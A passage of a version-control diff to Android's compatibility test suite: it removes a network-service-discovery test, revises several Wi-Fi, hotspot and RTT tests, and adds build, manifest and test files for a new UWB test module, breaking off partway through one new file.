-    public void testNDSManager() throws Exception {
-        EventData lastEvent = null;
-
-        if (DBG) Log.d(TAG, "Starting test ...");
-
-        NsdServiceInfo si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-
-        byte testByteArray[] = new byte[] {-128, 127, 2, 1, 0, 1, 2};
-        String String256 = "1_________2_________3_________4_________5_________6_________" +
-                 "7_________8_________9_________10________11________12________13________" +
-                 "14________15________16________17________18________19________20________" +
-                 "21________22________23________24________25________123456";
-
-        // Illegal attributes
-        try {
-            si.setAttribute(null, (String) null);
-            fail("Could set null key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("", (String) null);
-            fail("Could set empty key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(String256, (String) null);
-            fail("Could set key with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(3));
-            fail("Could set key+value combination with more than 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(4));
-            fail("Could set key+value combination with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x19}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("=", (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x7F}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // Allowed attributes
-        si.setAttribute("booleanAttr", (String) null);
-        si.setAttribute("keyValueAttr", "value");
-        si.setAttribute("keyEqualsAttr", "=");
-        si.setAttribute(" whiteSpaceKeyValueAttr ", " value ");
-        si.setAttribute("binaryDataAttr", testByteArray);
-        si.setAttribute("nullBinaryDataAttr", (byte[]) null);
-        si.setAttribute("emptyBinaryDataAttr", new byte[]{});
-        si.setAttribute("longkey", String256.substring(9));
-
-        ServerSocket socket;
-        int localPort;
-
-        try {
-            socket = new ServerSocket(0);
-            localPort = socket.getLocalPort();
-            si.setPort(localPort);
-        } catch (IOException e) {
-            if (DBG) Log.d(TAG, "Could not open a local socket");
-            assertTrue(false);
-            return;
-        }
-
-        if (DBG) Log.d(TAG, "Port = " + String.valueOf(localPort));
-
-        clearEventCache();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 1
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(eventCacheSize() == 1);
-
-        // We may not always get the name that we tried to register;
-        // This events tells us the name that was registered.
-        String registeredName = lastEvent.mInfo.getServiceName();
-        si.setServiceName(registeredName);
-
-        clearEventCache();
-
-        mNsdManager.discoverServices(SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD,
-                mDiscoveryListener);
-
-        // Expect discovery started
-        lastEvent = waitForCallback("onDiscoveryStarted");                  // id = 2
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Remove this event, so accounting becomes easier later
-        synchronized (mEventCache) {
-            mEventCache.remove(lastEvent);
-        }
-
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        boolean found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 3
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // We've removed all serviceFound events, and we've removed the discoveryStarted
-        // event as well, so now the event cache should be empty!
-        assertTrue(eventCacheSize() == 0);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 4
-
-        assertNotNull(mResolvedService);
-
-        // Check Txt attributes
-        assertEquals(8, mResolvedService.getAttributes().size());
-        assertTrue(mResolvedService.getAttributes().containsKey("booleanAttr"));
-        assertNull(mResolvedService.getAttributes().get("booleanAttr"));
-        assertEquals("value", new String(mResolvedService.getAttributes().get("keyValueAttr")));
-        assertEquals("=", new String(mResolvedService.getAttributes().get("keyEqualsAttr")));
-        assertEquals(" value ", new String(mResolvedService.getAttributes()
-                .get(" whiteSpaceKeyValueAttr ")));
-        assertEquals(String256.substring(9), new String(mResolvedService.getAttributes()
-                .get("longkey")));
-        assertTrue(Arrays.equals(testByteArray,
-                mResolvedService.getAttributes().get("binaryDataAttr")));
-        assertTrue(mResolvedService.getAttributes().containsKey("nullBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("nullBinaryDataAttr"));
-        assertTrue(mResolvedService.getAttributes().containsKey("emptyBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("emptyBinaryDataAttr"));
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": Port = " +
-                String.valueOf(lastEvent.mInfo.getPort()));
-
-        assertTrue(lastEvent.mInfo.getPort() == localPort);
-        assertTrue(eventCacheSize() == 1);
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        // Unregister the service
-        mNsdManager.unregisterService(mRegistrationListener);
-        lastEvent = waitForCallback("onServiceUnregistered");               // id = 5
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Expect a callback for service lost
-        lastEvent = waitForCallback("onServiceLost");                       // id = 6
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        // Register service again to see if we discover it
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-        si.setPort(localPort);
-
-        // Create a new registration listener and register same service again
-        initRegistrationListener();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 7
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        registeredName = lastEvent.mInfo.getServiceName();
-
-        // Expect a record to be discovered
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 8
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 9
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                lastEvent.mInfo.getServiceName());
-
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        assertNotNull(mResolvedService);
-
-        // Check that we don't have any TXT records
-        assertEquals(0, mResolvedService.getAttributes().size());
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.stopServiceDiscovery(mDiscoveryListener);
-        lastEvent = waitForCallback("onDiscoveryStopped");                  // id = 10
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.unregisterService(mRegistrationListener);
-
-        lastEvent =  waitForCallback("onServiceUnregistered");              // id = 11
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-    }
-
-    boolean checkCacheSize(int size) {
-        synchronized (mEventCache) {
-            int cacheSize = mEventCache.size();
-            if (cacheSize != size) {
-                Log.d(TAG, "id = " + mWaitId + ": event cache size = " + cacheSize);
-                for (int i = 0; i < cacheSize; i++) {
-                    EventData e = mEventCache.get(i);
-                    String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                    Log.d(TAG, "eventName is " + e.mCallbackName + sname);
-                }
-            }
-            return (cacheSize == size);
-        }
-    }
-
-    boolean checkForAdditionalEvents() {
-        try {
-            EventData e = waitForNewEvents();
-            if (e != null) {
-                String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                Log.d(TAG, "ignoring unexpected event " + e.mCallbackName + sname);
-            }
-            return (e == null);
-        }
-        catch (InterruptedException ex) {
-            return false;
-        }
-    }
-}
-
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index 1d2bd2a..ae2ad6f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -35,6 +35,7 @@
 import android.net.Uri;
 import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
@@ -165,6 +166,13 @@
         }
     }
 
+    /** WifiConfiguration#isEnterprise() is @hide, so copy/paste partial implementation here. */
+    private static boolean isEnterprise(WifiConfiguration config) {
+        WifiEnterpriseConfig enterpriseConfig = config.enterpriseConfig;
+        return enterpriseConfig != null
+                && enterpriseConfig.getEapMethod() != WifiEnterpriseConfig.Eap.NONE;
+    }
+
     /**
      * Tests for {@link WifiManager#retrieveBackupData()} &
      * {@link WifiManager#restoreBackupData(byte[])}
@@ -180,16 +188,20 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Pick any saved network to modify;
+            // Pick a regular saved network to modify (non-enterprise, non-Passpoint)
             origNetwork = mWifiManager.getConfiguredNetworks().stream()
-                    .filter(n -> mContext.checkPermission(
-                            android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
-                            == PERMISSION_GRANTED)
+                    .filter(n -> {
+                        boolean canOverrideConfig = mContext.checkPermission(
+                                android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
+                                == PERMISSION_GRANTED;
+                        return canOverrideConfig && !isEnterprise(n) && !n.isPasspoint();
+                    })
                     .findAny()
                     .orElse(null);
             if (origNetwork == null) {
-                Log.e(TAG, "Need a network created by an app holding OVERRIDE_WIFI_CONFIG "
-                        + "permission to fully evaluate the functionality");
+                Log.e(TAG, "Need a non-enterprise and non-Passpoint network created by an app "
+                        + "holding OVERRIDE_WIFI_CONFIG permission to fully evaluate the "
+                        + "functionality");
             }
 
             // Retrieve backup data.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index e8c5c27..d065354 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -41,7 +41,6 @@
 import android.net.NetworkRequest;
 import android.net.TetheringManager;
 import android.net.Uri;
-import android.net.util.MacAddressUtils;
 import android.net.wifi.ScanResult;
 import android.net.wifi.SoftApCapability;
 import android.net.wifi.SoftApConfiguration;
@@ -66,6 +65,7 @@
 import android.os.SystemClock;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
@@ -76,9 +76,11 @@
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.net.module.util.MacAddressUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
 import java.io.BufferedReader;
@@ -817,8 +819,9 @@
             int securityType = softApConfig.getSecurityType();
             if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
                 || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK) {
-                 assertNotNull(softApConfig.toWifiConfiguration());
-            } else {
+                // TODO: b/165504232, add WPA3_SAE_TRANSITION assert check
+                assertNotNull(softApConfig.toWifiConfiguration());
+            } else if (securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE) {
                 assertNull(softApConfig.toWifiConfiguration());
             }
             if (!hasAutomotiveFeature()) {
@@ -976,7 +979,7 @@
         }
     }
 
-    public void testStartLocalOnlyHotspotWithConfig() throws Exception {
+    public void testStartLocalOnlyHotspotWithConfigBssid() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -998,8 +1001,58 @@
 
             boolean wifiEnabled = mWifiManager.isWifiEnabled();
             mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
-            Log.d(TAG, "Sleeping for 2 seconds");
-            Thread.sleep(2000);
+            // now wait for callback
+            Thread.sleep(TEST_WAIT_DURATION_MS);
+
+            // Verify callback is run on the supplied executor
+            assertFalse(callback.onStartedCalled);
+            executor.runAll();
+            if (callback.onFailedCalled) {
+                // TODO: b/160752000, customize bssid might not support.
+                // Allow the specific error code.
+                assertEquals(callback.failureReason,
+                        WifiManager.SAP_START_FAILURE_UNSUPPORTED_CONFIGURATION);
+            } else {
+                assertTrue(callback.onStartedCalled);
+
+                assertNotNull(callback.reservation);
+                SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
+                assertNotNull(softApConfig);
+                assertEquals(TEST_MAC, softApConfig.getBssid());
+                assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
+                assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
+
+                // clean up
+                stopLocalOnlyHotspot(callback, wifiEnabled);
+            }
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public void testStartLocalOnlyHotspotWithNullBssidConfig() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // check that softap mode is supported by the device
+        if (!mWifiManager.isPortableHotspotSupported()) {
+            return;
+        }
+        SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
+                .setSsid(TEST_SSID_UNQUOTED)
+                .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                .build();
+        TestExecutor executor = new TestExecutor();
+        TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            boolean wifiEnabled = mWifiManager.isWifiEnabled();
+            mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
+            // now wait for callback
+            Thread.sleep(TEST_WAIT_DURATION_MS);
 
             // Verify callback is run on the supplied executor
             assertFalse(callback.onStartedCalled);
@@ -1009,7 +1062,6 @@
             assertNotNull(callback.reservation);
             SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
             assertNotNull(softApConfig);
-            assertEquals(TEST_MAC, softApConfig.getBssid());
             assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
             assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
 
@@ -1407,6 +1459,11 @@
      * @throws Exception
      */
     public void testScreenOffDoesNotTurnOffWifiScanningWhenWifiDisabled() throws Exception {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+            // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+            // scanning
+            return;
+        }
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -1436,6 +1493,11 @@
      * @throws Exception
      */
     public void testScreenOffDoesNotTurnOffWifiScanningWhenWifiEnabled() throws Exception {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+            // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+            // scanning
+            return;
+        }
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -1620,6 +1682,10 @@
         TestSoftApCallback callback = new TestSoftApCallback(mLock);
         try {
             uiAutomation.adoptShellPermissionIdentity();
+            // check that tethering is supported by the device
+            if (!mTetheringManager.isTetheringSupported()) {
+                return;
+            }
             turnOffWifiAndTetheredHotspotIfEnabled();
             verifyRegisterSoftApCallback(executor, callback);
 
@@ -1892,6 +1958,7 @@
      * Tests {@link WifiManager#forget(int, WifiManager.ActionListener)} by adding/removing a new
      * network.
      */
+    @SecurityTest
     public void testForget() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -2100,13 +2167,17 @@
         boolean isStaApConcurrencySupported = mWifiManager.isStaApConcurrencySupported();
         // start local only hotspot.
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
-        if (isStaApConcurrencySupported) {
-            assertTrue(mWifiManager.isWifiEnabled());
-        } else {
-            // no concurrency, wifi should be disabled.
-            assertFalse(mWifiManager.isWifiEnabled());
+        try {
+            if (isStaApConcurrencySupported) {
+                assertTrue(mWifiManager.isWifiEnabled());
+            } else {
+                // no concurrency, wifi should be disabled.
+                assertFalse(mWifiManager.isWifiEnabled());
+            }
+        } finally {
+            // clean up local only hotspot no matter if assertion passed or failed
+            stopLocalOnlyHotspot(callback, true);
         }
-        stopLocalOnlyHotspot(callback, true);
 
         assertTrue(mWifiManager.isWifiEnabled());
     }
@@ -2356,11 +2427,20 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        if (WifiFeature.isTelephonySupported(getContext())) {
-            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                    .getNetworkCountryIso();
-            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        // skip if Telephony is unsupported
+        if (!WifiFeature.isTelephonySupported(getContext())) {
+            return;
         }
+
+        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                .getNetworkCountryIso();
+
+        // skip if Telephony country code is unavailable
+        if (telephonyCountryCode == null || telephonyCountryCode.isEmpty()) {
+            return;
+        }
+
+        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
     }
 
     /**
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index 9c0078d..be8f4e9 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -77,6 +77,15 @@
         return pm.hasSystemFeature(PackageManager.FEATURE_WIFI_RTT);
     }
 
+    /**
+     * Returns a flag indicating whether or not Wi-Fi Aware should be tested. Wi-Fi Aware
+     * should be tested if the feature is supported on the current device.
+     */
+    static boolean shouldTestWifiAware(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WIFI_AWARE);
+    }
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 458917d..cfd6448 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -383,7 +383,7 @@
      * Verify ranging request with aware peer Mac address and peer handle.
      */
     public void testAwareRttWithMacAddress() throws InterruptedException {
-        if (!shouldTestWifiRtt(getContext())) {
+        if (!(shouldTestWifiRtt(getContext()) && shouldTestWifiAware(getContext()))) {
             return;
         }
         RangingRequest request = new RangingRequest.Builder()
@@ -402,7 +402,7 @@
      * Verify ranging request with aware peer handle.
      */
     public void testAwareRttWithPeerHandle() throws InterruptedException {
-        if (!shouldTestWifiRtt(getContext())) {
+        if (!(shouldTestWifiRtt(getContext()) && shouldTestWifiAware(getContext()))) {
             return;
         }
         PeerHandle peerHandle = mock(PeerHandle.class);
diff --git a/tests/tvprovider/Android.bp b/tests/tvprovider/Android.bp
index a99191e..ce09817 100644
--- a/tests/tvprovider/Android.bp
+++ b/tests/tvprovider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTvProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/uwb/Android.bp b/tests/uwb/Android.bp
new file mode 100644
index 0000000..7bcdc37
--- /dev/null
+++ b/tests/uwb/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsUwbTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: ["android.test.runner"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "mockito-target-minus-junit4",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+}
diff --git a/tests/uwb/AndroidManifest.xml b/tests/uwb/AndroidManifest.xml
new file mode 100644
index 0000000..adecade
--- /dev/null
+++ b/tests/uwb/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.uwb.cts">
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for android.uwb"
+        android:targetPackage="android.uwb.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/uwb/AndroidTest.xml b/tests/uwb/AndroidTest.xml
new file mode 100644
index 0000000..f0bb20a
--- /dev/null
+++ b/tests/uwb/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS UWB test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsUwbTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.uwb.cts" />
+    </test>
+</configuration>
diff --git a/tests/uwb/OWNERS b/tests/uwb/OWNERS
new file mode 100644
index 0000000..7ba57cf
--- /dev/null
+++ b/tests/uwb/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 898555
+bstack@google.com
+eliptus@google.com
+jsolnit@google.com
+zachoverflow@google.com
diff --git a/tests/uwb/src/android/uwb/cts/AngleMeasurementTest.java b/tests/uwb/src/android/uwb/cts/AngleMeasurementTest.java
new file mode 100644
index 0000000..f96b798
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/AngleMeasurementTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.AngleMeasurement;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link AngleMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AngleMeasurementTest {
+    @Test
+    public void testConstructs() {
+        double radians = 0.1234;
+        double errorRadians = 0.5678;
+        double confidence = 0.5;
+
+        AngleMeasurement measurement = new AngleMeasurement(radians, errorRadians, confidence);
+        assertEquals(measurement.getRadians(), radians, 0);
+        assertEquals(measurement.getErrorRadians(), errorRadians, 0);
+        assertEquals(measurement.getConfidenceLevel(), confidence, 0);
+    }
+
+    @Test
+    public void testInvalidRadians() {
+        double radians = Math.PI + 0.01;
+        double errorRadians = 0.5678;
+        double confidence = 0.5;
+
+        constructExpectFailure(radians, errorRadians, confidence);
+        constructExpectFailure(-radians, errorRadians, confidence);
+    }
+
+    @Test
+    public void testInvalidErrorRadians() {
+        double radians = 0.1234;
+        double confidence = 0.5;
+
+        constructExpectFailure(radians, -0.01, confidence);
+        constructExpectFailure(-radians, Math.PI + 0.01, confidence);
+    }
+
+    @Test
+    public void testInvalidConfidence() {
+        double radians = 0.1234;
+        double errorRadians = 0.5678;
+
+        constructExpectFailure(radians, errorRadians, -0.01);
+        constructExpectFailure(radians, errorRadians, 1.01);
+    }
+
+    private void constructExpectFailure(double radians, double errorRadians, double confidence) {
+        try {
+            new AngleMeasurement(radians, errorRadians, confidence);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        AngleMeasurement measurement = UwbTestUtils.getAngleMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AngleMeasurement fromParcel = AngleMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/AngleOfArrivalMeasurementTest.java b/tests/uwb/src/android/uwb/cts/AngleOfArrivalMeasurementTest.java
new file mode 100644
index 0000000..085ce2e
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/AngleOfArrivalMeasurementTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
